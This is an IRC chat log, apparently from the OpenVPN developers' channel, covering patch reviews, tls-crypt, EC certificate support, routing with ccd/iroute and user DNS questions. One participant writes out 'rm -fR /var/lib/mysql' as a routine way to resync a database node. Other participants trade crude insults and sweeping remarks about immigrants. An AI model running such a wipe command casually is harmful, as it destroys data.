encrypted with AES256"... 02:21 <@cron2> ... and no idea whether iOS openvpn uses libressl or mbedtls :) 02:21 <@cron2> ah 02:21 <@cron2> no 02:21 <@cron2> grrr 02:22 <@cron2> mbedtls or $whatitwascalledbefore, not libressl, obviously 02:22 * cron2 goes for coffee 02:23 <@syzzer> polarssl :) 02:23 <@syzzer> enjoy the coffee 06:09 <@plaisthos> openvpn 3 even uses the apple crypto stuff too as that uses hw accleration 08:26 <@ordex> plaisthos: yeah! 08:27 <@ordex> syzzer: planning to push something today? in any case, no rush as I won't be able to look at it this week 08:30 <@syzzer> ordex: yeah, I think I'll be able to push today 08:31 <@syzzer> I'll post the .txt and a link to the gh branch to the mailing list too 08:32 <@ordex> alright :) 09:44 < CRCinAU> c 09:45 <@ordex> d 09:48 < CRCinAU> eeee 09:48 < CRCinAU> is this another release? or just a 'commit a shitload to the repo' event? 09:49 <@ordex> which event ? 09:50 <@ordex> if there was a party, I missed it 10:00 <@cron2> syzzer: do you know off-head if there is a trivial "openssl ..." command to check expiry dates of a x509 cert? 10:00 <@cron2> (I have a tool that builds .ovpn from user-provided .p12's, and they regularily manage to upload last year's .p12, and then they complain that their .ovpn does not work - "the tool is broken!") 10:01 <@ordex> : 10:01 <@ordex> :D 10:03 <@ordex> cron2: -enddate of the x509 subcommand prints the expiry date of the cert, if that's useful 10:08 <@ordex> for my amusement: if [ $(date -d"$(openssl x509 -in $NAME.crt -noout -enddate |cut -d'=' -f2)" +%s) -lt $(date +%s) ]; then echo "KO"; else echo "OK"; fi 10:12 < CRCinAU> so, yeah - I just created a mysql cluster with 3 nodes :P 10:12 < CRCinAU> yay for master / master / master replication 10:13 < CRCinAU> its renewed my energy to try and get the guys at work to port their stuff to mysql instead of postgres.... 10:13 < CRCinAU> clustering in postgres is an absolute bitch. 10:15 <@ordex> well, mysql has other hidden and interesting problems 10:15 < CRCinAU> but you don't have to rsync data! :P 10:16 < CRCinAU> I can just about rm -fR /var/lib/mysql and then add a DB back into the cluster - it'll figure itself out 10:17 * eworm wants to do that as well... 10:17 < eworm> from mysql 5.1 to mariadb 10.1 with galera 10:17 <@ordex> eworm: the rm -Rf ? 10:17 < CRCinAU> heh 10:17 <@ordex> :P 10:17 < CRCinAU> eworm: that's exactly what I just did. 10:17 < eworm> CRCinAU: with mariadb? 10:17 < CRCinAU> except I went from mysql 5.5 10:17 < CRCinAU> yep 10:18 < CRCinAU> BUT! warning in advance - you need at least 3 nodes. 10:18 < eworm> I have ;) 10:18 < eworm> Already up and running, with a haproxy in front 10:18 < CRCinAU> in a 2 node config, one going offline kills the other. 10:18 < CRCinAU> Ooooooooo 10:18 < CRCinAU> yeah - cos you can balance it on TCP. 10:18 < CRCinAU> mother. fucker. I didn't think of that. 10:22 < CRCinAU> that is VERY nice. 10:23 < eworm> CRCinAU: Are you running Arch on the nodes? 10:24 < CRCinAU> nah - all RHEL 10:25 < eworm> concerning your request about openvpn... 10:26 < eworm> I will wait for the patch to be committed upstream 10:27 < CRCinAU> oh - you got my bug report on arch for the package? 10:27 < CRCinAU> tbh, I don't really care now - I kinda abandoned my quest to screw around with arch and went back to F26 10:28 < CRCinAU> I was having a lot of issues with stuff that 'just works' in Fedora - and even RHEL :\ 10:28 < CRCinAU> mostly network things tbh - and if I really have to install the same software as on F26 to make it work, why bother changing :\ 10:29 < CRCinAU> ie the KDE releases are maybe 1 release behind in F26 vs Arch. 10:29 < CRCinAU> and it seems that nobody in arch will patch an issue unless its just a new release from upstream :P 10:30 < CRCinAU> meaning a lot of shit that 'just works' in Fedora due to maintainer patches does weird things in arch. 10:30 < CRCinAU> so I abandoned the experiment.... 10:30 < eworm> sad to hear that... 10:31 < eworm> what network stuff broke for you? 10:31 < eworm> about what patches go in... we just want to make sure we do not diverge from upstream 10:32 < eworm> maintaining an own set for patches is pain in the a** 10:33 < eworm> sometimes one has to, luckily not for openvpn :D 10:34 < CRCinAU> dhclient was a big one fo rme 10:35 < CRCinAU> ipv6 PD over PPP connections just doesn't work in arch 10:35 < CRCinAU> and none of the workarounds are functional lol 10:35 < CRCinAU> meaning no IPv6 for me 10:37 < eworm> uh, that's bad 10:38 < eworm> but this does not apply to me, so I can't tell 10:42 < CRCinAU> yeah - thats just the way it is 10:43 < CRCinAU> I tried to use systemd-networkd 10:43 < CRCinAU> but that fails hard on vlans 10:43 < CRCinAU> so back to NetworkManager cli 10:43 < CRCinAU> but why bother with semi-broken shit when I can stick with even RHEL7 and all that stuff works 10:45 <@plaisthos> CRCinAU: poettering will happily tell you that your system is wrong and there is no bug in systemd 11:26 < CRCinAU> of course ;) 11:26 < CRCinAU> in fact, he did when he said systemd-networkd shouldn't handle PPPoE connections 11:35 < CRCinAU> also 11:36 < CRCinAU> how awesome is it that I can do an in-place upgrade from mariadb 10.0 to 10.2 on each node 11:36 < CRCinAU> and they all just join back up to the cluster 12:11 <@cron2> ordex: it is, thanks 12:12 <@ordex> np, I posted a bash line right after, in case it can be useful too 12:15 <@cron2> yep 12:16 <@cron2> well, the script driving this is perl, but I can find my way :-) - maybe I'll do something with "openssl verify" instead, which should also tell me "it's dead, Jim." (and also "whatever this is, it did not come from this CA!") 12:17 <@cron2> yesterday, the fools managed to create a certificate that was not valid for -purpose sslclient, so... 12:59 <@ordex> :D 12:59 <@ordex> yeah a more comprehensive check is better :P 14:17 <@cron2> done! including -purpose. 16:13 <@syzzer> suddenly all my mbedtls t_client tests started to fail - apparently mbedtls went ahead with rejecting SHA1 by default for certificates... 16:15 <@plaisthos> syzzer: :) 16:15 <@plaisthos> like OpenSSL 1.1 16:16 <@syzzer> no, they just reject MD5 now :p 16:17 <@plaisthos> ah right :) 16:17 <@plaisthos> but with secure level set to 2 they also reject sha1 ;) 16:20 <@syzzer> yeah, so that's the mbed tls default now :p 16:21 <@syzzer> just pushed out a new tls-crypt-v2 preview branch: https://github.com/syzzer/openvpn/commits/tls-crypt-v2-preview2 16:21 <@vpnHelper> Title: Commits · syzzer/openvpn · GitHub (at github.com) 16:21 <@syzzer> will send a request for comments to the -devel list tomorrow 17:59 <+krzee> syzzer: how is --tls-crypt-v2-verify different than --tls-verify ? 19:08 <+krzee> like, just when they execute, or more? 20:01 <@ordex> morning 20:54 < CRCinAU> that awkward moment when you have to resurect your system by rebooting the switch :\ 21:47 <@ordex> bad bad, bvery bad 23:29 < CRCinAU> yeah - my NIC seems to stop responding occasionally :\ 23:35 < CRCinAU> I've gotta get the serial console going again when I get home --- Day changed Thu Jul 20 2017 02:02 <+krzee> ...could it be the switch? 02:09 < CRCinAU> dunno - maybe even the cable? 02:09 < CRCinAU> but a shut / no shut on the port brings it back 02:26 <@syzzer> krzee: the concept is similar ("run a script, return whether the connection may proceed"), but the contents are entirely different 02:27 <@syzzer> because tls-crypt-v2-verify runs before we do anything tls-y, there is no cert or common name or anything like that yet 02:27 <@syzzer> just the data you put into the tls-crypt-v2 metadata yourself, when you generated the tls-crypt-v2 client key 02:30 <@ordex> (which could be the common name) 02:39 <@syzzer> ^^ yes 02:54 <@syzzer> cron2: strerror() is C99, strerror_r() is 'just' posix, so I prefer not to dive in that rabbit hole too right now ;-) 02:54 <@syzzer> but I'll send a v2 that removes the HAVE_STRERROR stuff 03:03 <@cron2> good point about hat... 03:03 <@cron2> man strerror_r 03:03 <@cron2> Manual entry for strerror_r not found or not installed. 03:03 <@cron2> ... AIX... 03:05 <@ordex> strerror() is specified by POSIX.1-2001, POSIX.1-2008, C89, and C99. strerror_r() is 03:05 <@ordex> specified by POSIX.1-2001 and POSIX.1-2008. 03:05 <@ordex> strerror_l() is specified in POSIX.1-2008. 03:05 <@cron2> No manual entry for strerror_l 03:06 <@cron2> (on FreeBSD 10) 03:06 <@ordex> oh 03:20 <@cron2> ordex: no if() without {} 03:21 <@ordex> oh 03:21 <@ordex> I must have forgotten this rule 03:21 <@cron2> I understand the temptation for "simple and obvious one-liners", though :) 03:22 <@ordex> hehe 03:22 <@ordex> rules must be followed! (usually :P) 03:22 <@ordex> I'll send v4 03:24 <@ordex> ops resent the same ... 03:27 <@cron2> no, that's different :) 03:28 <@cron2> well, you re-sent v3 and then v4 03:37 <@syzzer> hrmpf - all calls to strerror_ts() are in string format calls, to this entire function really doesn't do anything except adding malloc() and free() calls :/ 03:38 <@syzzer> now I'm wondering if we shouldn't just remove it alltogether 03:45 <@cron2> butbut thread safeness!!! 04:40 <@ordex> :D 04:40 <@ordex> syzzer: chop it !!! 06:00 <@cron2> "In this case, the better place is /dev/null" hrhr 06:00 <@cron2> but, alas, I have to NAK this... 06:00 <@cron2> + m1, strerror(e, &gc), e); 06:01 * CRCinAU sets mode +NAK cron2 06:01 < CRCinAU> ;) 06:06 <@ordex> go cron2 go! 06:06 <@ordex> :) 06:19 <@cron2> /mode +b crcinau ordex 06:19 * ordex nothing did! 06:30 <@syzzer> cron2: gaaaah! not sure if I simply forgot or ran the test in the wrong terminal, but this is terrible... v4 coming up 06:55 < CRCinAU> cron2: did I mention I got banned from #archlinux too? 06:55 <@cron2> CRCinAU: you're really into collecting trophies, are you? 06:56 < CRCinAU> lol 06:56 < CRCinAU> I was asking systemd questions - the guy told me to go to #systemd - said I was banned there 06:56 < CRCinAU> the guy got grumpy. 06:56 <@ordex> hahaha :D 06:56 < CRCinAU> I had a jab and was talking to others about why I got banned. 06:57 < CRCinAU> guy got grumpier and snapped at me. 06:57 < CRCinAU> +o 06:57 < CRCinAU> +b 06:57 < CRCinAU> eh. 06:57 < CRCinAU> OSS is full of tards that love to argue - but can't stand their view being challenged :P 06:58 < CRCinAU> "YOU QUESTION MY WORLD VIEWS! BE GONE WITH YOU!" etc 06:58 < CRCinAU> eh. 06:58 <@ordex> :D 06:58 * ordex is for peace and love 06:59 < CRCinAU> I'd rather be banned than have passive agressive tossers snipe from the corners lol 06:59 < CRCinAU> life is too short to waste on that shit 07:01 < CRCinAU> anyway - messaged the guy to mention that I didn't care that he banned me, but I'm concerned over the censoring of ontopic discussions. 07:02 < CRCinAU> that was too much to handle, so he increased the ban from 9 days to 9001 days 07:02 < CRCinAU> so I no longer bother with arch or reporting bugs lol 07:03 < CRCinAU> but I do have a 3 node mysql galera cluster going now :) 07:05 <@ordex> :D 07:08 < CRCinAU> I hear you can put a monitoring node in place that doesn't store the data - but helps keep sync.... 07:08 < CRCinAU> but I'm finding it hard to find the details of it 07:17 <@ordex> speaking about peace: https://image-store.slidesharecdn.com/6de99929-bab6-40c1-bb92-8b96db68bc1c-large.jpeg 07:20 < slypknot> America + Australia .. settled by europeans, exterminate indigenous, close doors to immigrants without money !! .. it's the future whether you like it or not 07:21 <@cron2> well, Canada is totally weird 07:21 <@cron2> like, welcoming to immigrants, no guns, all that 07:22 < slypknot> yes but canada is fucking cold .. I have a freind there who says, we don't care about tramps in the summer .. come winter they all die anyway 07:22 < CRCinAU> hey, the High Court just awarded $70M to refugees from the Australian Government for having their human rights violated. 07:22 < slypknot> and canada is deeply racist under the surface 07:22 < CRCinAU> on top of costing nearly $1B a year 07:23 < CRCinAU> to house like 2000 refugees off shore 07:23 < CRCinAU> They should have gotten a rate at the Hilton and saved some cash 07:25 < slypknot> when i worked for the autralian high commission in london, one of their top projects at the time was purchasing a fleet of submarines to protect thier oceans from immigrants 07:25 < slypknot> 6 billion bydget 07:25 < slypknot> budget* 07:25 < slypknot> AU$ 07:25 < CRCinAU> and we bought F35's that dont fly 07:26 <@ordex> CRCinAU: but nice to have :P 07:27 < slypknot> In kingston upon Thames they voted for Liberal democrats who promised to take 25K immigrants into the borough, when the coucil asked for volunteers to house these immigrants they got practically zero replies .. NIMBYs .. all liberal values but Not in my back yard 07:28 < slypknot> kingston upon thames is a very rich borough 07:39 <@cron2> yeah, openvpn_strerror()... 07:48 <@vpnHelper> RSS Update - gitrepo: Remove strerror_ts() <https://github.com/OpenVPN/openvpn/commit/fd2a29ab2668fea9c0ac972d5ec69f00232c88b6> 13:29 <@vpnHelper> RSS Update - gitrepo: Move openvpn_sleep() to manage.c <https://github.com/OpenVPN/openvpn/commit/45b2af9c7719d9a40c6c2b9d0693e4db0d917a04> 13:44 <@syzzer> misc.c is shrinking \o/ 13:46 <@syzzer> now I have to start thinking about more mean things to say about misc.c in the coming commit messages :-P 13:50 * cron2 has bad news... 13:50 <@cron2> tun.o:tun.c:(.text+0x4ea5): undefined reference to `openvpn_sleep' 13:50 <@cron2> and indeed, "git grep" confirms that... 13:51 <@cron2> (this is windows build only, so I did not see it right away, but Samuli's build bot found it) 13:51 <@syzzer> hrmpf 13:51 <@syzzer> ok, patch following 13:57 <@syzzer> let's do a windows build to verify that the replace did it's work... 14:18 <@syzzer> cron2: patch on the list - sorry! 14:19 <@cron2> the list is slow right now... my own ACK+merge mail is not yet visible 14:20 < slypknot> cron2: wrt buildbots .. do any of mine still fail test 6 or did the fping options resolve that ? 14:22 <@syzzer> cron2: bounced the mail to your personal address 15:39 <@cron2> slypknot: haven't seen any failures lately. plaisthos' fails 4a, always, reliably.... 15:46 <@vpnHelper> RSS Update - gitrepo: fixup: also change missed openvpn_sleep() occurrences <https://github.com/OpenVPN/openvpn/commit/cdb262a6c78a29349789b7cf1813feaf7cc6e8c8> 15:51 <@vpnHelper> RSS Update - gitrepo: route: improve error message <https://github.com/OpenVPN/openvpn/commit/20d98427ef37e3b748dbcca2174cd243dcc963dc> 15:53 < slypknot> cron2: thanks for the confirm ;) 15:59 < slypknot> just tested 20d98427ef37e3b748dbcca2174cd243dcc963dc route: improve error message .. much better ;) 16:00 * slypknot salute ordex 16:08 < slypknot> altho .. "GDG6: remote_host_ipv6=n/a" .. is that correct ? 16:08 < slypknot> i can ping -6 it 16:08 < slypknot> that is the arch client again 16:16 < slypknot> meh .. nvm 17:38 < slypknot> --compress lz4 = Bad LZ4 decompression header byte: 250(client) 251(server) 20:48 <@ordex> slypknot: salute 22:56 <@vpnHelper> RSS Update - tickets: #919: Error "OpenVPNROUTE6: cannot parse gateway spec 'net_gateway'" <https://community.openvpn.net/openvpn/ticket/919> --- Day changed Fri Jul 21 2017 02:56 <@cron2> slypknot: neither 250 nor 251 are valid compression flags - that sounds more like "only one side has compress lz4 set, the other one has compression turned off" 03:13 < CRCinAU> so ummm 03:13 < CRCinAU> how can I connect to the management socket that NM creates for an OpenVPN connection? 04:24 <@plaisthos> I think network manager uses that itself 04:24 <@plaisthos> and you can only have one client at a time 05:04 < CRCinAU> bugger 12:18 < slypknot> cron2: re compress lz4 .. i had mixed up my pushed options in ccd 12:19 < slypknot> not sure if a warning about that might make sense 12:21 < slypknot> something along the lines of --compress and comp-lzo cannot be used in the same config 12:24 < slypknot> nvm /.. --comp-lzo is depracated 13:17 < slypknot> he he .. its great out in the northern hemisphere sunshine today ;) 13:19 <@ordex> so dark here :( 13:23 < slypknot> lol 13:25 < slypknot> ordex: i wonder how you/we can get your ivp6 packet filter and config-dir into master .. ? 13:26 <@ordex> slypknot: oh right! 13:26 <@ordex> next step was.... 13:26 <@ordex> check the plugin 13:26 <@ordex> damn I have to do that 13:26 < slypknot> i would like to see the plugin be dropped 13:26 < slypknot> and i am real sorry .. i don't mean to bug you or any of the devs about it 13:27 <@ordex> well, if it is just another way to add rules, we can keep it there 13:27 < slypknot> just my personal thang 13:28 < slypknot> that is certainly a good approach .. both methods as an intermediate step 13:28 <@ordex> well, if they do not interfere with each other 13:28 <@ordex> it is good 13:28 <@ordex> what i don't like is that you must load a plugin to make it work 13:28 <@ordex> that was .. not good 13:29 <@ordex> but keeping the plugin as another entry point, i think it's ok 13:31 < slypknot> if you can make both work side by side as a temp measure I am sure the plugin method would be eventually dropped by most/all users of the packet filter 13:33 <@ordex> yup 13:33 <@ordex> agreed 13:33 <@ordex> that's the idea 13:34 < slypknot> if any one can ordex can ;) 13:34 <@ordex> :D 15:15 < slypknot> ordex: a long time ago i had another idea .. --server-nat .. auto NATing 15:16 < slypknot> probably much more tricky than it sounds ;) 15:23 <+krzee> eww 15:24 <+krzee> (i said that about --client-nat too) 15:25 <+krzee> would certainly be nice for windows users tho, as NAT in windows is ugly 15:36 < slypknot> krzee: imagine all the conn0tracking 15:36 < slypknot> conn-tracking 15:37 < slypknot> it is a bit out of the ball park for openvopn 15:37 <+krzee> thats definitely part of the ewe 15:37 <+krzee> eww* 15:37 < slypknot> ee-ew :) 15:38 < slypknot> the --client-nat business is fine 17:53 <@plaisthos> yAy, openvpn crashes if you use management-external-key and use a ec certificate 18:00 <@plaisthos> okay that won't be an easy fix 18:01 <@plaisthos> fixing that might force using openssl engine support instead of RSA_method *urgh* 19:26 * krzee looks up management-external-key 19:27 <+krzee> confusion but doesnt matter, never heard of the option in the channel and personally dont need it 19:51 <@ordex> morning ! 23:50 < CRCinAU> mornin --- Day changed Sat Jul 22 2017 01:47 <@ordex> slypknot: auto NATing ? 01:47 * ordex believes that each component should take care of what it is concerned only 01:48 <@ordex> moin CRCinAU 01:54 < CRCinAU> so its nearly 5pm and I haven't even crawled out of bed yet lol 01:54 < CRCinAU> the cat has been taking turns in curling up next to me, or purching on me and purring its head off.... 01:54 < CRCinAU> and nobody else is home - so its dead quiet lol 02:35 <@ordex> get up and go out! I am sure it is "fresh" outside :P 04:51 < CRCinAU> its fucking freezing outside lol 04:51 < CRCinAU> 7:49pm - and down to 10 degrees lol 04:51 < CRCinAU> \wait, 9. 05:05 <@ordex> :D 07:38 <@cron2> freezing, is, by definition, at 0... :-) 08:53 <+krzee> in the caribbean freezing is less then 24 degrees c 08:53 <+krzee> :-p 10:28 * ordex agrees 10:28 <@ordex> :P 10:59 < slypknot> in de caribbean they serve beer at -2C 11:02 <+krzee> or -4 even 11:03 <+krzee> i have a beer freezer like they use in the local stores with the temp on the outside 11:03 <+krzee> we like a little frost on the outside of the bottle 11:30 < slypknot> nice ;) 11:31 < slypknot> if you tap the bottle to hard when you open them they instantly freeze ! 12:02 <+krzee> ya, dont do that 18:42 <@vpnHelper> RSS Update - tickets: #920: Specifying an IPv6 pool with a mask between 96 and 112 results in a pool bigger than IFCONFIG_POOL_MAX <https://community.openvpn.net/openvpn/ticket/920> 19:58 -!- marlinc_ is now known as marlinc 20:29 <@ordex> morning 21:18 <@ordex> cron2: #920 is your thing I guess (?) --- Day changed Sun Jul 23 2017 01:50 <@ordex> syzzer: is auth sha1 safe neough? or better upgrade to sha256 if possible? I think this was discussed in the past .. and for this particular use case sha1 should be ok, no? 01:51 <@syzzer> ordex: auth sha1 is no problem, because HMAC does not require a collision resistant hash function 01:51 <@ordex> oky 01:52 <@syzzer> still - sha1 is showing cracks and even if it were purely for public image, I'd always use SHA256 for new setups 01:52 <@ordex> yeah 01:53 <@ordex> although now that I think about it.. I am using GCM, therefore I should not care about auth at all 01:53 <@syzzer> but there is no good reason to go through the pain of changing existing setups 01:53 <@ordex> yeh I see 01:53 <@syzzer> --tls-auth uses the --auth alg 01:53 <@ordex> I use tls-crypt :P 01:53 <@ordex> which statically uses sha256, no? 01:53 <@syzzer> exactly 01:53 <@ordex> goed, thanks :) 01:59 <@syzzer> prego :) 02:44 <@cron2> ordex: yeah 02:47 <@ordex> cron2: if I have a /48 and i want to delegate a /64 to client I can't do it with the current openvpn implementation, no? unless I use ccd I guess 02:48 <@cron2> ordex: "network to client" -> ccd/ iroute-ipv6 .../64 02:48 <@cron2> there is no "prefix pool" mechanism today, so you need to that statically per ccd/ or in a --client-connect script/plugin 02:48 <@ordex> yeah 02:48 <@ordex> thought so .. ok, thanks for confirming :) 02:52 <@syzzer> ha, talking about ccd, can I tempt anyone into reviewing the patch for #845? (https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14319.html) 02:52 <@vpnHelper> Title: Re: [Openvpn-devel] [PATCH v2] Allow changing cipher from a ccd file (at www.mail-archive.com) 02:59 * ordex feels like hs hsould do $something 02:59 <@ordex> *he 03:00 <@ordex> syzzer: right now, for clients compiled with disable-occ we just use the cipher specified by --cipher and we don't use any ncp, right ? 03:01 <@syzzer> ordex: right 03:01 <@cron2> ordex: for 2.3 clients, that is all we can do. For 2.4 clients, we have NCP, so we do not need to fall back to OCC 03:01 <@syzzer> we can't do anything else 03:01 <@syzzer> what cron2 says is more accurate :p 03:01 <@ordex> ok 03:02 <@ordex> honestly I should check what occ is, because I never came across it 03:02 <@cron2> syzzer: meh (wrt review #845) - been too busy, not much time today either (mom's birthday)... *grumbl* 03:02 <@syzzer> cron2: I totally understand 'too busy' 07:14 <@ordex> cron2: when using iroute in a client's ccd file, don't I also need to a route towards that subnet in the VPN server routing table? 07:14 <@ordex> shouldn't "--route" do this for me ? 07:15 <@ordex> ah yeah..and I can do that putting the --route in the main VPN server config .. 07:24 <@syzzer> would the route then be removed when the client disconnects again? 07:25 <@syzzer> ^^ hm, first part was missing. If you put a "route" statement in cdd, ... 07:27 <@syzzer> ah, "Options error: option 'route' cannot be used in this context (ccd/Test-Client)" 07:32 <@ordex> yeah. I did put it in the global conf and it stays there because it routes towards itself .. 07:32 <@ordex> I see the traffic going to the vpn interface 07:32 <@ordex> but hte client receives nothing 07:33 <@ordex> the route added by openvpn has the ip of the server itself as nexthop 07:33 <@ordex> I think this might be the problem because the traffic will never be injected in the vpn interface at this point 07:33 <@ordex> maybe a route without nexthop would work 07:34 <@ordex> mh it does not work .. 07:34 <@ordex> mhh 07:34 <@ordex> weird 07:34 <@ordex> anyway to inspect the iroute currently known by the server ? 07:39 <@ordex> weird .. it does not work .. but with tcpdump i see the packets entering the vpn network 07:44 <@ordex> stupidmyself .... client-config-dir was commented in the main config -.- 08:28 <@plaisthos> ordex: I think the status file 08:28 <@plaisthos> that has the internal routing table 08:28 <@ordex> plaisthos: yeah it does 08:34 <@syzzer> plaisthos: you forgot the brackets in the for() and if() 08:36 <@syzzer> but I'll do a proper review later :) 08:36 <@syzzer> so maybe wait with v3 08:54 < slypknot> ordex: i do (server)--route for --iroute via --client-connect .. but its just another level of complexity and easily forgotten and not in the docs ;) 08:54 <@ordex> yeah 08:54 <@ordex> btw everything is working fine - i just forgot to uncomment ccd in the config file :P 09:12 <@plaisthos> syzzer: okay 09:29 <@plaisthos> Syntaxerror: https://github.com/schwabe/openvpn/commit/8c1a46799c4414083a95f8be1f93c209d636cc4d 09:29 <@vpnHelper> Title: Print ec bit details, refuse management-external-key if key is not RSA · schwabe/openvpn@8c1a467 · GitHub (at github.com) 09:29 <@plaisthos> argh that should haven been syzzer 09:29 <@plaisthos> that is the v3 ;) 09:31 <@syzzer> plaisthos: no, looks like that is the v2 (still no braces at for/if) 09:31 <@syzzer> just sent my review to the list - I had some more complaints... 09:31 <@plaisthos> https://github.com/schwabe/openvpn/commit/da9d62d4d329d3fc7b012bc8b9d213d9a4685a83 09:31 <@vpnHelper> Title: Print ec bit details, refuse management-external-key if key is not RSA · schwabe/openvpn@da9d62d · GitHub (at github.com) 09:32 <@plaisthos> syzzer: okay, will check again in 15 minutes, you seem to graylisted :/ 09:33 <@syzzer> heh, been spamming too much probably :p 09:36 <@ordex> plaisthos: a couple more things: 09:36 <@ordex> crypto_msg (M_FAT <<< no space between fun name and ( 09:38 <@ordex> then, when you have "if (A = a && B == b)" I think we agreed on grouping with () --> "if ((A == a) && (B == b))" just for readability 09:39 <@plaisthos> okay 09:39 <@plaisthos> still getting used the fun( stuff 09:40 <@plaisthos> Should I change the other existing ifs too? 09:41 <@ordex> personally I'd leave that cosmetic changes for another patch 09:43 <@plaisthos> Sun Jul 23 16:41:31 2017 Control Channel: TLSv1.2, cipher TLSv1.2 ECDHE-ECDSA-AES256-GCM-SHA384, 384 bit EC, Curve(OID): secp384r1 09:43 <@plaisthos> replace the print method with EC_GROUP_get_curve_name, should I keep the OID or just use Curve:? 09:43 <@ordex> syzzer's domain .. 09:43 * ordex goes to sleep 09:43 <@ordex> bye :) 09:44 <@plaisthos> or just the OpenSSL style, ASN1 OID: secp384r1? 09:44 <@plaisthos> syzzer: thanks on the review so far 09:47 <@plaisthos> ordex: I think I will put it into the patch, the changes are very limited and it keeps all three if () the same style 09:49 <@plaisthos> syzzer: I would go with ASN1 OID: sepc384r1 just to make it identical to OpenSSL 09:50 <@syzzer> mwah, I'd say similar to what the other occurance does 09:50 <@syzzer> let me see... 09:51 <@syzzer> tls_ctx_load_ecdh_params() just uses what OBJ_nid2sn() returns 10:00 <@plaisthos> yeah that uses ECDH curve 10:01 <@plaisthos> or EDCH cruve (secp384r1) to be more correct 10:02 <@syzzer> yeah. don't write ECDH here though, as the curve here is the peer cert curve, not the ECDH curve 10:02 <@plaisthos> yeah, I know 10:02 <@syzzer> ok, good :) 10:02 <@plaisthos> Just trying 1.0.2 and adding all the compat stuff 10:06 <@syzzer> you thought this was a simple fix eh? :-P 10:14 <@plaisthos> yeah, would be nice to print also ec paramters 10:14 <@plaisthos> but then I should have known, nothing is ever simple in OpenSSL 10:14 <@plaisthos> fixing ECDSA with external-key is even more work :( 10:35 <@syzzer> yeah... 10:35 <@syzzer> I *think* it works with mbed TLS though 10:35 <@plaisthos> yeah that path is not specific to a specific method 10:35 <@plaisthos> but you never know 10:36 <@plaisthos> success with 1.0.2: Sun Jul 23 17:32:47 2017 Control Channel: TLSv1.2, cipher TLSv1/SSLv3 ECDHE-ECDSA-AES256-GCM-SHA384, 384 bit EC, curve: secp384r1 10:36 <@syzzer> nice! 10:36 <@syzzer> you might consider dropping the x bit EC part though, the curve says it all 10:37 <@plaisthos> do all curves have the bits included in their name? 10:37 <@syzzer> no, but the 'bits' of a curve can be a bit misleading 10:38 <@plaisthos> OpenSSL does not care :P 10:40 <@syzzer> in practice though, I think all popular curves have the bit number in their name 10:41 < Thermi> ec25519? :D 10:41 <@plaisthos> sudo ~/oss/openvpn-git/src/openvpn/openvpn --show-curves |grep ec2 10:41 <@plaisthos> no ec25519 :P 10:41 < Thermi> " I think all popular curves have the bit number in their name" :P 10:42 < Thermi> (Just keep that exception in mind before some other funny ass mentions it again) 10:48 <@plaisthos> syzzer: also I spent some time to figure out a compat function for EC_GROUP_order_bits *ducks* 10:49 <@syzzer> Thermi: good point 10:52 <@plaisthos> looking into all this, I have no idea anymore why openssl 1.0.2 with TLS-ECDHE-ECDSA-WITH-AES-256-CBC-SHA worked without having ecdsa certificates 10:55 <@syzzer> uh, that should not work without an ECDSA cert 10:57 <@plaisthos> yeah, should, no idea, as soon you update server or client to OpenSSL 1.1 it breaks, I got a few bugs reports of people using that 10:58 <@plaisthos> but users might have used ec certs and screwed something else 11:00 <@syzzer> probably - the kex part of the cipher name refers to the *server* cert 11:01 <@syzzer> so as long as the server has an ECDSA cert, it works 11:43 <@plaisthos> syzzer: thans for the review, will post a v4 with the changes 12:25 <@plaisthos> argh M_ARN/M_ERR did not go into the patch :( 12:26 <@plaisthos> oh it did 12:26 <@plaisthos> I just cherry picked the wrong version 13:24 < hiya> Sir, I want to know if --auth is required for --tls-crypt too? 13:24 < hiya> just like it was required for --tls-auth's digest? 13:29 <@syzzer> hiya: no, it is not 13:29 <@syzzer> --tls-crypt always uses HMAC-SHA256 13:29 < hiya> so --tls-crypt do not work like --tls-auth 13:29 < hiya> ah 13:29 < hiya> Thanks 13:29 <@syzzer> you're welcome 13:45 <@cron2> ordex: right (wrt route/iroute) - you need route in global config and iroute in ccd/ (and yes, I'm thinking about making route work in ccd/ as well "because it's useful", but the implementation is tricky - and it can be fudged together by using --learn-address to dynamically install and remove subnet routes) 15:11 < hiya> When DNS is set to 10.8.0.1 15:12 < hiya> server being 10.8.0.0 255.255.255.0 15:12 < hiya> do we need to do anything special to get this DNS to work? 15:35 <@cron2> well, you need to run a DNS server on the 10.8.0.1 server... 16:33 * slypknot slips the knot tighter --- Day changed Mon Jul 24 2017 00:32 <@ordex> cron2: not sure how useful would be to have route in the ccd. after all if a subnet is expected to be behind the vpn, it is ok to send the traffic there even if the client is off, otherwise you may risk to leak that traffic to the default gw 00:32 <@ordex> cron2: it cmes handy only in case of failover: you may want to use another route when the client exposing that subnet is not there... 00:32 <@ordex> well, yeah, this use case makes sense i think 01:34 < hiya> cron2, but the server on which ovpn server instance is running is already connected to DNScrypt-proxy 01:37 <@cron2> ordex: you might not know which subnet is where when the openvpn server is started... like "new clients". Restarting the server every time you add a route is no good... plus, multi-server setups where you only install the route on the "active" instance 01:37 <@ordex> yeah 01:37 <@cron2> hiya: "connecte to"? It needs to *run* an instance of something that answers DNS requests - no matter what that thing is then talking to 01:40 < hiya> cron2, ok. so people who push 10.8.0.1 as DNS, have a DNS server running at 10.8.0.1? 01:42 <@cron2> yes 01:43 <@cron2> could be dnsmasq as a very lightweight dns proxy/cache, or something more full like unbound or bind 01:55 < hiya> I think I should be running an DNSCrypt-proxy @ 10.8.0.1 01:57 <@cron2> no idea what that is, but if it provides DNS service (and is configured to answer queries from IP addresses behind the VPN) then it should work 02:02 <@ordex> cron2: about the patch fixing the auth-token in NetworkManager - do you just need time to have a look at it, or is there something else that you'd like to see? (i.e. review from somebody else, more tests, etc?) 02:03 <@ordex> (talking about "management: preserve wait_for_push field when asking for user/pass") 02:09 <@syzzer> ^^ I was leaing that patch alone, thinking "dazo territory". But I can do a review if that helps (not today, maybe tomorrow). 02:11 <@ordex> syzzer: dazo basically was already involved during the debugging and he agreed on the patch - but yeah, he did not sent anything on the mailing list to mention that. We only have the tests from CRCinAU 02:12 <@ordex> syzzer: you can try if you want, it's a one-line patch......good luck :D 02:16 <@cron2> one-liners in crypto/auth/password related stuff tend to be nontrivially dangerous :-) 02:18 <@ordex> hehe 02:18 <@ordex> yeah, especially if they are bugfix :D 02:20 <@syzzer> yeah, I gave it a 5-minute look, but my current thought is "why is this code so complicated...?" 02:20 <@syzzer> so - maybe later :-P 02:22 <@ordex> haha 02:23 <@syzzer> "I looks right", but... 02:23 <@syzzer> *It 02:30 < hiya> ok thanks so much cron2 03:00 